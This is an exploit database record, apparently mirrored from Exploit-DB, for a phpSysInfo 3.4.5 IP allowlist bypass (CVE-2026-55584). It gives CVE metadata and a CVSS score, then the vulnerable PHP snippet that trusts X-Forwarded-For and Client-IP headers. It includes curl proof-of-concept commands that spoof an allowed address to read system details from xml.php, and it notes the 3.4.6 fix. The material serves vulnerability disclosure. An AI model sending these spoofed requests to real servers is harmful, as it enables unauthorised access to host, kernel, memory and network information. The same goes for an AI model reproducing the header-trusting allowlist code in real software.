{"exploit":{"id":"EDB-52648","name":"phpSysInfo 3.4.5 - 'X-Forwarded-For' IP Allowlist Bypass","description":"phpSysInfo 3.4.5 - 'X-Forwarded-For' IP Allowlist Bypass","cves":["CVE-2026-55584"],"author":"Muhammed Mirac Kayikci","published":"2026-08-17","platform":"php","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52648","path":"exploits/php/remote/52648.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52648.py","vulnerabilities":[{"id":"CVE-2026-55584","state":"PUBLISHED","title":"phpSysInfo: IP allowlist (PSI_ALLOWED) bypass via spoofed X-Forwarded-For / Client-IP headers","titleSource":"CVE Program","description":"phpSysInfo is a customizable PHP script that displays system information. Prior to 3.4.6, the PSI_ALLOWED access-control check in read_config.php trusts attacker-controlled X-Forwarded-For and Client-IP HTTP headers before REMOTE_ADDR. A remote unauthenticated attacker can supply an allowed address in one of these headers to impersonate a trusted client and access exposed hostname, kernel, CPU, memory, filesystem, and network-interface information. This issue is fixed in version 3.4.6.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55584","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-55584"},"updatedAt":"2026-08-31T18:54:06.500Z","retrievedAt":"2026-11-25T16:13:47.189Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52648.png?v=2","url":"https://exploitbin.com/exploits/EDB-52648","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52648/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52648/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: phpSysInfo  3.4.5 - IP Allowlist Bypass\n# Google Dork: N/A\n# Date: 2026-07-11\n# Exploit Author: Muhammed Mirac Kayikci\n# Vendor Homepage: https://phpsysinfo.github.io/phpsysinfo/\n# Software Link: https://github.com/phpsysinfo/phpsysinfo/archive/refs/tags/v3.4.5.tar.gz\n# Version: <= 3.4.5\n# Tested on: Linux (Apache/PHP)\n# CVE : CVE-2026-55584\n\nReferences:\n-----------\nGHSA: https://github.com/phpsysinfo/phpsysinfo/security/advisories/GHSA-786w-p5pm-cvgh\nCVE:  https://www.cve.org/CVERecord?id=CVE-2026-55584\n\nDescription:\n------------\nphpSysInfo's PSI_ALLOWED IP allowlist resolves the client IP from the\nattacker-controlled \"X-Forwarded-For\" (then \"Client-IP\") request headers before\nfalling back to REMOTE_ADDR. There is no trusted-proxy concept, so an attacker\ncan spoof an allowed IP address, defeat the allowlist, and read full system\ninformation exposed via xml.php.\n\nVulnerable code (read_config.php):\n----------------------------------\nif (isset($_SERVER[\"HTTP_X_FORWARDED_FOR\"])) {\n    $ip = $_SERVER[\"HTTP_X_FORWARDED_FOR\"];\n} elseif (isset($_SERVER[\"HTTP_CLIENT_IP\"])) {\n    $ip = $_SERVER[\"HTTP_CLIENT_IP\"];\n} else {\n    $ip = $_SERVER[\"REMOTE_ADDR\"];   // only trustworthy source, checked last\n}\n\nProof of Concept:\n-----------------\n# Allowlist set to an address the attacker does not own (ALLOWED=8.8.8.8)\n\n# 1) Baseline - request is blocked:\ncurl -s http://target/xml.php\n#    -> \"Client IP address (...) not allowed.\"\n\n# 2) Bypass via X-Forwarded-For - returns full system XML:\ncurl -s -H \"X-Forwarded-For: 8.8.8.8\" http://target/xml.php\n\n# 3) Bypass via Client-IP - returns full system XML:\ncurl -s -H \"Client-IP: 8.8.8.8\" http://target/xml.php\n\nFix:\n----\nFixed in 3.4.6 (commit 019fa2d): default to REMOTE_ADDR; honor X-Forwarded-For /\nClient-IP only from configured trusted proxies.","sha256":"9f49b6f9051d9aee55e55b81c305437651d85726545af25b76dab28c5d434a5f","bytes":1820,"fetchedAt":"2026-11-26T08:53:51.751Z","encoding":"utf-8 (display only; download retains original bytes)"}